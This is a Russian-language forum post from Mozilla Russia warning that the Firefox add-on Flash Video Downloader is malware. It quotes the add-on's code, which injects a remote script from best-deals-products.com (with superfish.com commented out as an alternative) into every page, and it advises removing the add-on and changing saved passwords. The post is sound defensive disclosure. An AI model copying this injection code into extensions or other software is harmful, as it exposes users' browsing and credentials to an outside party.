Полезная информация

Пользователи не любят читать документацию. Станьте оригинальным, будьте не как все. Ознакомьтесь с нашей базой знаний.

№126-04-2015 14:28:51

Smoke_kz
Участник
 
Группа: Members
Зарегистрирован: 26-04-2015
Сообщений: 5
UA: Firefox 31.0

Flash Video Downloader - malware в последней версии

После установки данного дополнения при загрузке любой страницы Firefox соединяется с каким-то левым сайтом www.best-deals-products.com. При разборе оказалось, что в коде дополнения есть строки:

скрытый текст

Выделить код

Код:

if( !win.superfish ){
                
            dump("\n\nInsert superfish into: "+ document.location.href +"\n\n");
                    
            var userId = getUUID();

            //var injectUrl = "www.best-deals-products.com/ws/sf_main.jsp?dlsource=lwjyocpk&CTID=xyz";            
            //var injectUrl = "www.superfish.com/ws/sf_main.jsp?dlsource=vjartpv&CTID=fvdmoz";
            var injectUrl = "www.best-deals-products.com/ws/sf_main.jsp?dlsource=vjartpv&CTID=fvdmoz";
            
            if( document.location.href.indexOf("https:") === 0 ){
                injectUrl = "https://" + injectUrl;
            }
            else{
                injectUrl = "http://" + injectUrl;
            }

            var script = document.createElement("script");
            script.setAttribute( "src", injectUrl );
            document.head.appendChild( script );
            
        }


Судя по коду (поправьте), дополнение встраивает вызов каких-то скриптов с сайтов www.best-deals-products.com и www.superfish.com при загрузке любой страницы. Что это за скрипты - одним разработчикам этих скриптов известны. Разработчик же дополнения клянётся и божится, что ничего плохого дополнение не делает.
Всем, кто пользуется данным дополнением рекомендую его удалить и поменять пароли, хранящиеся в базе Firefox. И, если не лень, оставить отзыв на странице дополнения.
скрытый текст
Это чудо просит за него донат в размере 50$. Совсем обнаглел.

Отсутствует

 

Board footer

Powered by PunBB
Modified by Mozilla Russia
Copyright © 2004–2011 Mozilla Russia
Язык отображения форума: [Русский] [English]